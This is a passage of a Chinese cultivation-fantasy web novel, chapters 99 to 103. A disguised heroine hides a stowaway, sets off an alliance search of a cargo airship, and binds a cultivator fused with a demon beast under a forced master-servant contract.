东闲：“明日辰时会完成第一次停靠，届时将有一批人会下船，你跟着他们一起下船，不会惹人怀疑。”
鸦昤眼皮一跳，问：“你知道我是后上船的？”
东闲：“我有上船的船员名单。”
她胡言乱语着，说些谎话，并不担心有被戳破的那刻，现在的鸦昤自是希望谁也发现不了她，鸦昤连人都不敢靠近，又从哪得知她的话语真假。
谎话摻真的讲，会使她的谎言更天衣无缝。
鸦昤对鲲船所知皆源自于高白露，高白露只是船上的客人，她所知显然是有限的。
鸦昤闭言不发，如若杂物间真的安全，在下船之前，她应当是无虞的。
她暂且相信东闲没说假话，打量着杂货间，低声言语着：“先前的船员说过，这艘鲲船上运的是无相沙，这么多东西应当不仅仅是无相沙，该有别的东西。”
她的言语没有逃过东闲的耳朵。
鸦昤可能不知为何物，东闲肯定清楚，当初她观看金竹制作焕新膏时，曾在案面上摆放着不少材料，其中一个材料便是无相沙，尤长离说过，焕新膏需要的材料缺一不可，不然影响焕新膏的成效，做出来的就只能是劣质品，完全没有效果。
但尤长离也说过，让东闲看到的焕新膏的研制是旧版的，也许最新版的焕新膏原料大为改变，无相沙可能是其中一个被淘汰的原料。
这算是巧合吗？东闲可从不会放过任何一个巧合，如若鲲船的舱主真的与怡红院有合作，于她而言将会是一个重要的发现。
事实上，如此想也很合理，鲲船搭载怡红院需要的材料，这么个庞然大物的确能够跨越山南海北为怡红院提供需要的原料。
百仙盟登鲲船，便可能因为他们怀疑这艘鲲船与怡红院有染，所以他们应当是想借机检查鲲船内部有没有
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焕新膏的原料。
至于东闲这番猜测孰真孰假。
她不由得看向鸦昤，朋友间是要互帮互助的，她的朋友会帮她的。
东闲擦墙擦了一半，忽而叫道：“他们说要过一段时日看我打扫得如何，你不能待在这里太久。”
鸦昤半信半疑，“你为何此刻才说。”
目光却是在搜寻藏身之处，可惜她的身量也颇高，有一米七的高度，这里是有地方能藏，但绝对容不下她。
鸦昤两眉团成一起，有些烦躁。
东闲道：“他们担心我犯懒所以要不时派人来看我的进度，你要是走最好现在走，不然等他们来了你便没办法走了。”
鸦昤：“走？你是想通风报信去？隐瞒我的存在是你要做的事，我若是被发现便拿你垫背。”
东闲闭嘴，继续打扫。
事实是她说的是实话，为了监督她工作，柳明媚确实会派人来检查，鸦昤此刻不选择离开，反而是加速她自己被发现的时间。
东闲估量着对方到来的时机，应当就是现在了，鸦昤来得不凑巧几乎是撞枪眼上。
她如此想着，鸦昤却是心中难安，干脆把人擒过来，往喉里塞了个丹丸。
她塞得飞快，东闲都没看清是什么样。
鸦昤凶神恶煞地道：“毒药，若敢欺我瞒我，你必死无疑。”
东闲：“什么毒？”
鸦昤想也不想就道了个脑海里一下蹦出来的词：“龙虎造煞丹。”
东闲几欲想笑，但她忍住，并且十分敬业地给出害怕的反应。
“我什么都听你的，绝对不会背叛你。”
就这么个塞丹药的功夫，外面来人了。
鸦昤瞥了眼东闲，而后艰难地藏身在某个杂物间后面，若是对方境界不比她高，是不会感应到她的气息，若这醉鬼说的是实话，那么来人的境界不会高到哪里去，毕竟只是检查一个人的工作，哪里需要兴师动众。
来人径直推开门，目光先是在内部流转一圈，而后耷拉着脸道：“怎么收拾得这么慢。”
东闲道：“舶主吩咐不敢怠慢，细致打扫才行。”
来人又挑刺说了几句，东闲皆老实应是。
来人说着要走，鸦昤还藏在货物后，她在想这地确实不是久留之地，她该尽早离开，另寻他处，怎料那人去而复返，鸦昤还未来得及藏回去。
来人紧眉：“谁在这里。”
东闲连忙回应：“是我刚刚碰到了。”
来人神色未曾松懈仍是紧绷，却不信她，往深处而去。
东闲指着另一处问道：“这里面的也要擦吗，我得拿个灯照才看得见。”
那人没睬她。
东闲又道：“这里面的我也进不去很挤，我擦的时候要把东西挪一下吗。”
她说着，竟是去挪鸦昤身前的那货物，惊得鸦昤杀意要爆泄。
来人大概觉得这里也没什么藏人的可能，而且这里的机关严实，也不会被发现，见东闲动作，连忙制止，“哎，你别乱碰箱子里的东西，里面的东西精贵得很，坏了一个小心你这月月供都没了，要是被舶主知道，挨顿毒打都是轻的。”
东闲心道这里的确是有东西了。
她面上作出一副惶恐的模样，连忙把东西放回去。
那人也不找了，叫东闲老实收拾，过会时间还来检查。
鸦昤又再蹲了一段时间，方离开。
东闲抚摸着喉间一丝痛意，血是净了，留在喉间的感觉没丢。
“下手可真狠，连我都不待怜惜。”
100.第 100 章
有人步履匆匆敲响某间客房，向房间主人报告：“舶主，船上多出了一个人被百仙盟他们觉察，百仙盟正要借此机会搜查整个鲲船。”
海上风平浪静，鲲船正常向前行驶，柳明媚抬眸看向窗外明月，手中握着酒杯，原本情绪尚可，在听到下人的报告，她掀开一串串珠帘，发出清脆声响，来到下人面前。
柳明媚神色难堪，怒骂道：“我给他们脸了，竟敢在我鲲船上动手，朝云呢？”
来人道：“回舱主，朝云大人已经前去应付百仙盟，但百仙盟强不肯松懈，他们说此人很可能是贩卖焕新膏的商贩，必须要亲自探查才行。”
柳明媚手中的酒盏被她失控捏碎，鲜血缓缓流淌，她痛不自知，目光眯起危险的一条缝。
这件事传到她耳里说明事情没能处理得当，百仙盟是非要插手不可了，很有可能，现在已经开始搜查。
她恨恨地道：“我应当把她扔到河里喂鱼去。”
管她是什么不夜天的弟子，坏了她的好事都该喂鱼。
意识到还是自己出错给了对方把柄，柳明媚的脸色实在难看。
“百仙盟等的正是这个机会，他们怎么可能会放弃搜查我鲲船的机会，但他们是不会发现的，若是这般轻易叫他们破解，我柳明媚还做不做生意。”
她阻止不了百仙盟办案，幽云城不受外力拘束，她的鲲船若停靠在幽云城，百仙盟不会如此放肆，但是只要她的鲲船不在幽云城，她必须听从百仙盟指令，尤其对方还提到可能跟贩卖焕新膏有关，更该以百仙盟办案为先，且不能加以干扰，这是修仙界的规定。
百仙盟由来自各大宗门家族的势力组成，得罪百仙盟也算是在得罪各大宗门家族。
百仙盟的威压是不可侵犯小觑的，所以在听到百仙盟意图以调查贩卖焕新膏的小贩为理由，来搜罗她的鲲船，她只能咬碎后槽牙忍耐同意。
“全程听着朝云行事，若还有异样再来向我汇报，暗中注意杂物间的动静，不要让他们弄坏了我的货物。”
手心的伤口已经被她止住，她平静地绕开一地瓷片残渣，从盒子中找出能够尽快祛疤养颜的药，以来遮挡手心的伤疤。
“现在，找个人来把这里清理。”
不管发生什么，她不能乱，可不能让百仙盟看出端倪来。
由贩卖星宿传承带来的焕新膏的产出，一直是百仙盟奋力攻克的重点，焕新膏此物尤对替换星宿传承之人有效，长期服用必定堕落成魔，百仙盟因此出台禁止焕新膏的贩卖以及星宿传承的剥夺。
然而往生十分狡猾，他们以幽云城为据点，百仙盟的手伸不到那里去，但是焕新膏的流通一定会向外去。
焕新膏的原料也一定在幽云城之外，百仙盟针对此开始产生推测，推测是谁向幽云城输送源源不断的原料。
此次由岑为霜向外开放的妖人试验使得百仙盟紧张戒备，百仙盟并不确定往生对妖人的开发到了何种地步，但他们会谈得出来的结果，是阻止往生对妖人的研究与开展。
不过也正是因为不确定往生对妖人的研究到了何种程度，百仙盟这次行动才如此紧张且迅速，誓要带回一点线索，其中鲲船是他们严查目标之一。
登上鲲船的百仙盟成员来了三位，此刻他们正一间一间地排查，清点鲲船上的人数。
客人的休息又被打搅，少不得怨言，但见到对方拿出独属百仙盟才有的令牌，个个都噤声乖乖听令，这便是百仙盟的威慑。
先是从乙层检查，大家都很配合，到亓沂这间时有些不对劲，但是百仙盟被告知对方是因为强升境界而导致的情况不稳定无法开门，百仙盟又出手试了试便已信了七分，而且百仙盟也认得亓沂，毕竟青云大比她的表现太出彩了，现在人人都知道玄清宗亓沂的大名，当下也没再怀疑于是放过她。
百仙盟查人的动静不小，乙层还没查完很快传到甲层去，甲层的全巩告诉了东方苍岚这个消息，东方苍岚突然说他想去甲板上吹吹风。
“哎，百仙盟待会就查过来了，你还去哪。”
东方苍岚却是已经向外走去，还是跑着出去，看起来神色是那般痛苦。
全巩不知道他又犯什么病，回忆东方苍岚到现在的所作所为复又觉察出不对，于是急得也掐御风术想跟上去，然而他却被百仙盟唤住。
“你是这艘鲲船上的人吗？”
东方苍岚心里烦闷躁动到极点，他也知自己这时候走反而引人注意，但是他的异化又开始了，身体里的那头妖兽在跟他争抢身体的主控权，他怕被百仙盟发现异样，只能马上离开找个地方压制异样。
而他以为自己很快就能完成对妖兽的压制，殊不知全巩为他拖了一炷香的时间，一炷香后，百仙盟检查完其他客人，独独还没看到东方苍岚。
全巩也不知如何拖住百仙盟，他开始意识到东方苍岚可能隐瞒了一件大事，而这大事绝不能让百仙盟知道，可惜他却是没有应对之能。
迫不得已，全巩只能说不知东方苍岚的行踪，百仙盟于是派人去搜寻。
有间客房少了个客人，疑似被后登上鲲船的人劫持藏在鲲船的某一处，舶主的心腹朝云下令让所有客人都待在房间不准出来，以免误伤，百仙盟和鲲船的船员会对两人进行搜捕。
这个消息很快传到东闲耳里，先前她借一船员的帮助放出鲲船多了一个人登陆的消息，并给出相应证据，已经得了百仙盟的注意，若她猜想正确，百仙盟定当借这个机会搜寻鲲船。
东闲知道这是再好不过的机会，此刻舶主柳明媚要竭力隐藏鲲船的秘密，百仙盟的注意力又在于鲲船的秘密，找人不过是一个幌子。
她是时候去把这个记不住脸的人揪出来，她猜测这个消失的人很有可能是她要找的人。
光是猜测不够的，她得找到这个人看看自己对他有没有印象。
可惜对
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方不知使了什么招式，让她记不住对方，就算找到了，对方古怪的能力还是会影响她。
她回忆上鲲船到现在，到底是什么东西在影响她，东闲肯定这个东西是让人无法抵抗阻挡的，还是在人没有觉察的时候就让人中招。
如若东闲是个心修，那么对这种法术定是轻而易举地破解，而她不是，但这并不能代表她并不能破解，她身上会的百家秘法绝学可没用。
她记得，华尚留在她识海内的白蝶还没拿出。
迷蝶入梦，会根据一个人的记忆来编造梦境，如若对方的术法不是抹去她的记忆，那么白蝶应当能够帮她记起这一段。
东闲操控识海的白蝶，将其转化为己有，而后剖析它的身体展现一段段记忆画面。
须臾的功夫，东闲从被尘封的记忆中找到了画上缺失的那张脸。
薄若蝉翼的白蝶消散。
看来对方的能力是降低或隐藏他的存在感，从而让东闲如何也记不起他的模样。
远在朝天宫的华尚似有所觉，嘴角沁出鲜血，而这点变化为一旁正向她叙述在怡红院发现的小师妹注意到。
“华尚师姐，你怎么了？”
华尚摆手示意无视，拿出一块手帕擦去嘴边的鲜血。
并无大碍，只是气血上涌了罢。
她复又扯动讥诮的唇，道：“呵，骗子的确让人讨厌。”
对上小师妹不解的视线，华尚问道：“东边有什么？”
小师妹重复“东边”二字，心道幽云城不正是在东边吗。
“华尚师姐，幽云城就在东边，再往东必须要登鲲船，那里的三溺水不能为修士渡过，你是发现那个贼人的下落了吗？”
华尚指尖在平整的宣纸上打圈，面上挂着若有若无的笑意。
“我想，我已经找到让阿筝不高兴的小贼，把此事告诉阿筝，这回我会和阿筝亲自去抓她，马上就能启程。”
小师妹问：“那要通知玄清宗吗？”
“不必，等阿筝收拾高兴了，再把人送过去。”
***
男人蜷缩身子，喉里发出似妖兽般的嘶吼，双手的指甲变长变尖变黑，毛发快速生长，浑身的肌肉在以不可思议地程度暴涨，撑破了他原本的衣物。
东方苍岚正在与妖兽争夺身体控制权，来自身心的双重痛苦几欲使他崩溃，对生的希望又使他去忍耐这些痛苦。
他尚存的理智都不够支承他布下阵法隔绝外界，现在的他随时都有被人发现的危险，但是他无暇管顾，体内该死的妖兽正妄图吞噬他的意志，从而成为他身体的真正主人。
有一人受感应而来，最后停留在他的面前，双方已经不剩五步的距离。
“找到你了，看来我的运气要比他们好。”
来人带着促狭的笑意，东方苍岚只觉得完蛋了，他要杀死眼前这个已经发现他秘密的人，随而召开灵域，将两人笼入其中。
101.第 101 章
应芷对了下门牌确实没错，看了眼丰忆安，一只手跃跃欲试地作成叩门状。
丰忆安急促地道：“等等。”
应芷道：“等什么，除了一间一间地敲没办法了，我们都敲了不少门。”
丰忆安几乎无语，他们发现了东方苍岚刺青的秘密，知道他们遗忘了一个人且暂时无法记忆起来，为了找到这人是谁，这家伙的办法居然是一间一间地敲过去，把吵架的情侣剧本强行改成新婚小夫妻，正在挨家挨户地发喜糖。
丰忆安几乎想把她的脑袋打开看看里面有什么，如今鲲船弄出这么多动静，指不定是有人在搞鬼，若对方也冲东方苍岚来怎么办，她就不怕打草惊蛇引起注意吗。
“好啦，怕什么，又不是打不过。”
她话落，便在门上叩响三声。
应芷道：“有人吗，发喜糖了。”
她转而对丰忆安道：“他要是不给开门那就是有鬼，损坏一扇门，上头给报销的吧。”
丰忆安：“什么东西？你这样我们肯定会被投诉，至于你在任务过程中损坏的东西，任务如若能完成的话。”
应芷爆了声脏话，冲着门道：“我分文没取还得倒赔，纵是完不成任务今儿我还偏把你收拾了。”
她集灵力运于一掌，“丰忆安，损坏的门算你一份。”
“我又没动手。”
“你看见不阻止，就是与我同流合污。”
“……”
被她一掌拍下的门瞬间四分五裂，自里面轰然而出的危险气息直逼门面，应芷早有预料，一掌拍下的那刻脚尖轻点朝后一跃。
由身旁的丰忆安拔剑凌空挥斩两下，发出冷兵器相击的凌厉声响，汇聚袭来的灵力全被两剑斩断。
全巩脸色不善，道：“你们二人来我这为何？”
应芷目光瞥了眼屋内的陈设，道：“喜糖吃不吃，我们夫妻二人大婚不久，想给大家带来福气。”
全巩哼了声，“发喜糖是假，我看找人是真。”
全巩召开灵域把二人拉入其中。
灵域之内，应芷道：“我们只要知道你身边的那个人去哪了？”
全巩道：“搞出这么多阵仗，难不成不是你们做的？”
应芷和丰忆安闻言相视，而后丰忆安道：“看来是有人抢先了。”
全巩狐疑地道：“不是你们做的？”
应芷道：“当然不是我们，要是我们做的何必直接跟你要人。”
全巩原本找东方苍岚无果，猜到是有人在对东方苍岚下手，找上来的两人自称不是他们所为，那么说明另有其人。
“那他的身份定然是能够自由走动且不易惹人怀疑，而这种身份唯有船上的船员。”丰忆安思索片刻，道。
应芷想明白为何齐姓客人的东西会丢了，道：：“那个姓齐的是哪个房间，那个船员一定是去过他的房间才对。”
全巩也跟着他们分析起来，道：“今天一共有三类人进入我们的房间，除了百仙盟他们都没有踏足。”
应芷道：“姓齐的可难伺候，说不定他一上鲲船就找人要求重新打扫屋子，这就是个机会。”
最终，几人决定先合作找到这个真正东幕后黑手，后来他们得来消息，进入姓齐房间的确有个船员，已经被罚到杂货间去清扫了。
他们旋即赶过去，杂货间内是有个人在，为了不让他逃跑，他们立刻召开灵域，把人拉入其中。
猝不及防被拉进灵域的鸦昤神色难堪，难道是醉鬼在骗她，知道她的毒药是假的，所以通风报信去了。
但是看清几个人的面孔后，鸦昤又顿觉疑惑。
这群人是谁？
她根本不认识这几个人啊，看打扮也不像是鲲船上的船员。
而几个人因为不知那船员究竟是何模样，下意识将眼前的鸦昤误认为是那名船员，殊不知鸦昤是顶了那杂役的身份，暂时躲在这里。
全巩道：“把人交出来，可饶你不死。”
人？难道是那醉鬼船员，他不是早跑了么，这群人怎么要向她要人。
鸦昤内心困惑诸多，对面人见她不言不语便下意识认为对方是挨过打才肯听话。
眼见他们要动手，鸦昤迫不得已喊出醉鬼曾跟她说过的话。
“如果你被人抓到的话，叫出甲二房，有人会帮你的。”
“甲二。”
对面果然攻势暂停，其中应芷问道：“你说的甲二什么意思？”
全巩猜测道：“你把人藏到甲二房里去了？你可别想糊弄我们，你应该不是一个人来的，现在让甲二房的人跟你联系，把人带过来。”
鸦昤无话可说。
她连现在的情况都没搞明白，根本没办法对付这种局面。
应芷另一手拍在腰间的鼓上，“咚咚咚”连拍三下，三声沉闷的声响震荡开的音波能叫人七窍流血。
“不愿意说出实情的话，那还是打一架好了。”
***
灵域之中，东闲眼看东方苍岚的变化，适才知道，妖人计划不是计划，已经实施了。
全身的皮囊下肌肉扭曲蠕动着，体表发出撑裂的声响，强劲的腱子肉撑破衣物，东方苍岚此刻暴涨的肌肉简直强悍壮实得远超过人能所达到的模样，看起来像一头野兽。
不，他就是一头野兽。
他身上的毛发急速地生长着，浓密的毛发遮挡住了他的表层皮肤，身体在不断地拔高直到长至三米高，额头的两角蜷曲而锋利，被它顶到必然被豁开一道巨口。
从他的模样依稀可以辨认出，这该是一头六阶的罗金牛。
东闲这下明白他为何在方才的表现中不堪一击，如今回想他是根本不敢出招，他居然与妖兽合体，异化为妖人了。
这头野兽微蜷着身子，睥睨轻看东闲。
灵域是无边无际的大海，没有对岸，双方站立在海上唯一的两块浮木上。
东方苍岚道“我曾与一只六阶的罗金牛合体，而你仅仅只有淬灵境的修为。”
刚刚的对决，足使他肯定东闲仅有淬灵境的修为。
东方苍岚应该看到她的忌惮，但是，纵算她再忌惮惧怕，哪怕会为之下跪求饶，东方苍岚也不会放过她。
可惜，东闲则是困惑地投去不解的视线，
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语气听不出丝毫惧意。
“你为什么会愿意做个不人不鬼的怪物？”
到底是装的还是真的无所畏惧，言语中听不出一丝一毫的颤意，他方才明明试探过了，此子仅仅是淬灵境后期的修为。
莫非她手上还有什么法器不成？
东闲继续道，嘴角缓缓扬上，她的每一种情绪都会展露出不同的笑，就像现在她的笑嘲讽而讥诮。
“修士与妖兽合体的怪胎你是头一回，东方前辈，你说我该把你当个人看还是妖兽看，这很重要，毕竟我还没杀过六阶的孽畜。”
她强调了妖兽二字，纵算是六阶如何，还不是妖兽，现在的他能与人相提并论吗。
东方苍岚勃然大怒，他自与六阶妖兽合体后，无时无刻不受精神折磨，他是一个堂堂正正的人，怎么能与妖兽混为一谈，可身体的异变在告诉他他就是妖兽一个畜生，东闲如今说出这种话，简直是将他的痛处不留情地撕开来。
此方灵域受东方苍岚的影响，海浪把东方苍岚托举到高处，居高临下地看向东闲。
“受死吧。”
数道能覆灭人的海浪朝东闲拍来，东闲掏出藏在胸前的绿尺，脚下的浮木不断变化着位置，拍打出的浪花锁定唯一的猎物，皆不一而足地朝东闲而来，而后又被东闲一一拍了回去，像拍皮球似的朝着高处的东方苍岚。
东方苍岚大手一扬，浪水便把身前的浪花覆灭。
他目光大骇，只因由东闲手持的那把法器分明是圣阶品质。
没错，那把让绿云长老哭得天昏地暗的上清尺就在东闲手中，在东闲离开玄清宗后，上清尺便屁颠颠地跟着偷跑出来，它好像猜到东闲是有某种缘故而不能在玄清宗认下它，所以它就跟着东闲一起跑了。
起初东闲以为上清尺是因为贪狼星君才跟着她，贪狼星君走后，上清尺仍然选择跟着她，东闲想不出缘由就不再细想，把这件圣阶的法器给认主了。
上清尺极为契合东闲，所以东闲使用起来格外得心应手。
东方苍岚道：“你死得更不冤了，你手中的东西届时会冠我之名。”
东闲道：“我原以为淬灵境能杀意动境，可惜时间不够，我也无意把时间浪费在你身上。”
听她说要以淬灵境修为杀了炼心境修为的自己，东方苍岚都要笑得眼泪全掉出来，脚下的巨浪也随着他的动作震颤着。
跨两境杀人，就凭她那些功夫怎么可能做到啊。
他的笑声戛然而止，因为他看见东闲在起阵，他见过这种阵法，是御兽师会用的阵法，东方苍岚心道她居然还修了御兽。
他以为她是在起召唤阵，结果他发现阵法不是召唤阵，分明是契约阵。
东方苍岚很快感受到来自双方的联系，这是由东闲单方面起的契约申请。
他面上流露出被羞辱到的神情来，东闲真的是不知死活，三番两次地让他正视自己只是个畜生的事实，他许久不曾遇到如此品行顽劣又不知死活的家伙了。
巨让他崩溃又气炸的是，契约阵居然真的把他列为可以契约的对象，也就是说，契约阵认为他是妖兽而非一个修士。
102.第 102 章
东方苍岚此刻的暴怒无法忍耐，他因变成妖兽后心理早已扭曲，厌恨上所有的人，他对着所有人与妖兽都保持着最大的厌恶，现在的他极其十分想要用他强劲的大掌撕碎东闲的身体，然后剖开入腹。
东闲看出他想法似的，反问道：“你觉得你现在还不像一头妖兽吗？”
如此野蛮的想法，已然是与妖兽同化了啊。
东方苍岚吼道：“我不是妖兽，你闭嘴。”
他脚下的巨浪堆叠到惊人的高度，只要在他的命令之下，巨浪拍过去，东闲必死无疑。
接下来发生的一幕更是要他的命。
只见那阵法并非为广为皆知的平等契约，在东闲面前转动的巨型光阵，所投射出的契约力量强势包裹住他，其中叫人为之臣服的力量，摁着他的身体让他跪下去为东闲臣服。
这分明是主仆契约。
只有高境界的人才敢用的主仆契约。
无知竖子！岂敢。
此方灵境顺应着他暴涨的情绪，涛涛猛浪盖过这个天向东闲欺压而来，激荡的水花都化作颗颗炮弹，携带惊人的威力。
东闲手持上清尺，脚下的浮木随着她的念力而动，掐着遁影诀不断变化位置。
她企图借主仆契约让东方苍岚成为她的妖仆的想法并没有断，并且不断加深这个念想，逼使东方苍岚结下契约。
主仆契约，为单方强制契约。
东闲不知何时身形已经逼至东方苍岚眼前，她双目紧盯住东方苍岚，在东方苍岚看过来之际，双目发生变化。
只见她的瞳孔化作两团流动的深紫漩涡，带着别样的风情意味，东方苍岚仿若已经被巨大的甜蜜包裹，沉沦其中，迷失理智。
东方苍岚不知为何此时觉得她极其迷人，恨不得将自己一颗心都剖出来奉上，以证明他的真情，哪怕东闲现在的打扮还是个黑黝黝的糙汉子。
这是契合心月狐天赋的术法，蛊惑之眼。
“你要与我结下契约，永远匍匐在我的脚边，任我差使。”
东方苍岚顺着她的话道：“我要与你定下……”
他猛然惊醒，意识到东闲是对他使用了蛊惑之眼，意图让他应下契约，心中又惊又怒，气恼东闲对他使用心月狐天赋术法，惊于自己居然差点被蛊惑住，多亏东闲境界不足，使得他及时回身，从术法中逃脱出来。
滔天巨浪化为无坚不摧的剑，摧枯拉朽般的力量有针对性地对准渺小若沧海一蜉蝣的东闲。
而东闲分寸不移，她唯一的举止就是在东方苍岚清醒后，以念力操纵着脚下浪潮将她推举到更高，巍然屹立如座难以撼动的山岳，至于那能叫她粉身碎骨的巨浪化的剑，她都懒得投去一个视线。
此番作态，无疑是觉得东方苍岚必然认她为主。
契约之力自被召唤起，未曾有一刻松懈，其中力量坚持不懈地攻破东方苍岚的意志，它蛮横无理、霸道嚣张，毫无章法，只想着怎么让东方苍岚服从于契约的力量。
东闲只要东方苍岚失神的一瞬，只要他放下心里攻防的一瞬，东闲没打算让东方苍岚同意主仆契约，主仆契约本就是一方强制的契约，这一瞬足以让契约的力量控制住他的意志。
契约之力如缕缕丝线，裹缠住东方苍岚的意志一圈又一圈，而后打上死结，猛然绷紧欲将消解其意志。
令人望之胆寒的长剑，艰难地朝前移动，它受两种力量拉扯，难以近东闲的身。
东方苍岚极力想摆脱这种让他忍不住跪下的力量，奈何东闲的契约之力强悍如若世间最为坚固的金刚，它只要得空缠上来，就必定不会为他攻破。
东方苍岚想要反抗，不知她的契约中是用了什么样的力量，居然能唤醒他体中的妖兽血脉。
在他与金角牛合体后，这具身子便是半人半妖的血脉，他压下去属于金角牛的半妖血脉，结果被这契约之力所唤醒，并且他发现他的半妖血脉无条件地服从对方的力量，那种感觉就像是遇见了主宰此间的神。
东方苍岚从未听闻过有人有如此强悍的力量，也不曾知道那些御兽师还有这等能耐的存在。
心月狐星宿的伴生特质是迷惑的陷阱，东闲并没有发挥心月狐的天赋特质，单纯地凭靠着契约之力逼他结下契约。
这种变化让东方苍岚恐慌，不断地怒骂东闲，字字不堪入耳。
东闲一脚踩在东方苍岚的腹部，用极冰凛寒术幻化出一条冰链，束缚住他的脖颈，朝后一勾，拉进双方的距离。
“对你的主子说话尊重点。”
东方苍岚惊恐地发现他居然无法摆脱，对方分明是淬灵境的修为，在他看来，对方选择使用主仆契约只能达到羞辱他使他恼怒的程度，怎料到她居然真的用主仆契约来契约他，这还不是最主要的，他的意志真的不受他的控制，他开始放弃反抗的打算。
而且这种消沉的意志很自然，契约之力抓住他的手，而他也控制不住地抬手，在东闲投来的光阵下，以掌印定下契约。
契约达成，烙印深刻地停留在东方苍岚的识海中，与此同时，东闲的识海内多了一道联系。
她的识海中如今有三种联系，一是清微仙尊留下的烙印，二是上清尺认主后的联系，而这三便是现在来自东方苍岚的主仆联系。
等到东方苍岚浑浑噩噩地定下契约后，主仆契约成立的烙印，灼烫到他的识海，他才如梦初醒地发觉自己在做了什么。
他居然真的被定下主仆契约了！
为什么，她分明只有淬灵境的修为，区区淬灵境不可能能够契约成功一头六阶妖兽，哪怕现在这只妖兽与他合体，导致法力骤降，可也有实打实的吊打淬灵境修士的实力。
怎么看都不可能让一个淬灵境的修士骑在他的头上，让他被契约成功吧。
东闲哪怕用上什么法器他都能接受事实，可偏偏东闲她就单纯地用了契约之力，期间用上的蛊惑之眼都没成功，就这样还能把他契约成了。
东方苍岚不明白，并且难以置信，几欲呕血。
唯一的变故，是契约之力中不可让人拒绝的强大力量。
他看向凌驾于他之上的东闲。
现在的
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他不会对东闲动手，契约达成的那刻由浪潮化成的巨剑，失去凝形的力量，松松垮垮地全都落下，像是降下一场狂暴的大雨。
雨落人身上，不会溅湿人的衣衫，这是由念力与灵力构造的世界，所见的一切都是念力幻形而成，所有的力量都是来自于灵力。
彼时，东方苍岚已经认东闲为主，永远为她所用，甘愿为她付出生命，这便是主仆契约的强大之处。
东闲嘴角笑意加深，此刻她比东方苍岚更像此方灵域的主宰。
她退出灵域，遥遥看向某个地方，握住了许久不用的听音螺。
***
莫吟洲刚收拾过那两个说他兄长闲话的人回来，就被百仙盟拉去做检查认证，他不知鲲船发生什么也不关心鲲船内会发生什么，正常接受检查后，突然收到听音螺的消息。
那是连接他与东闲的听音螺，要知道东闲可是很久没联系他了，莫吟洲去接，但是对方自主挂断，他颇觉奇怪想要打回去，却没有收到任何讯息。
这是何意？
她是出事了吗？
莫吟洲被她弄得一颗心都烦躁，东闲可还不能死，不知给他下的什么毒，他去找别的药修都没检查出是什么毒，能解他毒的只有东闲，东闲可不能有事。
所以她突然联系自己到底是为什么。
莫吟洲烦得又去抓头。
为什么东闲不能把话说全呢，难道她那边有什么危险，可她连我都能杀她还有什么危险。
东闲一般只有在有事的时候才会联系他，所以现在的东闲一定有事，可我怎么管，我又不知道她在哪里。
听音螺又动了，这回莫吟洲听到了东闲的声音。
“鲲船。”
又中断了。
莫吟洲满心神被那句“鲲船”给吸引，难不成东闲也在鲲船？
莫吟洲决定先在鲲船找一找，最后在杂物间附近感应到灵域的波动，就在他思索要不要进去时，里面的力量把他拉进去。
全巩报了个房间号，问道：“你和她是一伙的?”
全巩指了指鸦昤。
莫吟洲：“？”
他们见莫吟洲不说话，当莫吟洲是默认了。
莫吟洲也不确定他该不该动手，这群人中的鸦昤他认得，是不夜天的弟子，其他三个都不识得。
东闲听音螺联系他到底是何意思，鸦昤为何又会一口报出他的房门，难道东闲是想让他救鸦昤。
他觉得乱极了。
在不确定答案之前，莫吟洲装死回道：“我不知道你们在说什么。”
全巩道：“又来个嘴硬的。”
于是，他们率先发起攻击，另外二人一个拍鼓一个持剑，而全巩开阵法，莫吟洲倒是能应付，身上有致胜的法宝，但是他还不想过早暴露自己丹青客的身份，毕竟这样损失太大，被东闲控制就已经是他最大的损失。
灵域内一片动荡，就在斗了一会后，莫吟洲收到东闲的听音螺通讯邀请。
他没忍住问道：“你怎么知道我在鲲船？到底发生什么？”
103.第 103 章
东闲道：“我听到海的声音，随便猜了一下，没想到猜对了，我缺钱，你找个时间把钱备好我会去拿。”
莫吟洲心说你最好说的是实话。
听音螺的通讯就这样轻易地中断，莫吟洲心中却还藏着事，他觉得东闲在瞒他，他不信东闲找到他只是为了借钱，但他又没有过问她的资格。
眼下，还要收拾这烂摊子。
莫吟洲道：“我只是路过，你们突然把我拉进来，我正常反抗不行吗？”
应芷指着鸦昤问他：“难道你不认识她吗？”
莫吟洲道：“要杀要剐随你们，跟我有什么关系，我要走。”
灵域外还有外人的气息，全巩索性也把人拉进来，来人正是高白露。
高白露反应很快，见他们不是百仙盟的人也不是柳明媚的人，出口道：“各位误会了，那是我的朋友鸦昤，我们来自不夜天，跟你们要找的人无关。”
几人一段对话下来，才知道鸦昤就是那多出来的人，她扮作船员的模样是怕被发现，与他们要找的船员无关。
全巩转身就走。
应芷和丰忆安暗道到头来还是给别人做嫁衣。
鸦昤神色难看，因为她猜到自己被有心人利用。
鸦昤问高白露：“你怎么知道我在这？”
高白露道：“不知道谁给我留的一封信，上面说让我来这找，我便来了。”
鸦昤问：“信给我看看。”
看到这封信上的字迹，鸦昤脸色瞬间大变。
这字迹她认得，是她曾想要抓回来的人，她今日竟在这里再次看到跟这个人有关的消息。
那个自称东闲的家伙在这吗，依照对方目前的处境她定不敢以真面目现身，鸦昤可以大胆想，也许这次的事真与她有关。
应芷和丰忆安慢吞吞往房间的方向走。在路上，应芷问道：“那个人来的时候你感应到了吗？”
丰忆安知道她指的是莫吟洲，回道：“保守地讲，他有炼心境中期的实力。”
应芷道：“传闻说他资质平庸，并不出色，显然传闻不可信。”
丰忆安觑了她一眼，“要找的人跑了，你不急？”
应芷苦着脸道：“哎，就别说丧气话了，我们再追不就行了。”
鲲船正常行驶，一小舟离鲲船驶向的方向越来越远。
***
东闲再次睁开眼睛时，眼中已经出现对岸的轮廓，她掐起御风术便飞向对岸。
瞎眼老翁感应到她走了，什么也没说。
灵微洞天，一块宝田福地，修仙圣地，在这里修炼速度会大大增强，翻上数倍不止，最初被发现时引得修仙界一阵震荡，各方势力为了争抢灵微洞天而四处宣战，最后僵持不下，便提出唯有拿到请帖的人才能去灵微洞天的想法，如今是由最讲究公平的菩提仙尊接管灵微洞天。
灵微洞天只认请帖不认人，守门童子确认请帖没有伪冒方才放东闲进去。
灵微洞天听起来会让人以为是一座洞府，事实上整座山都归属于灵微洞天。
童子为东闲带路，带着她七弯八拐，才堪堪瞧见洞府入口。
洞府很大，囊括十个房间，然而能拿到请帖之人，寥寥无几。
灵微洞天一共有二十张请帖，如今灵微洞天内还存有八张请帖，加上东闲的是九张请帖，另外十一张请帖分散在修仙界各处，请帖的意义早已变了，更多的人想借用请帖的价值谋取利益。
灵微洞天的请帖一经使用，能保证被邀请者留在灵微洞天长达半年的时限。
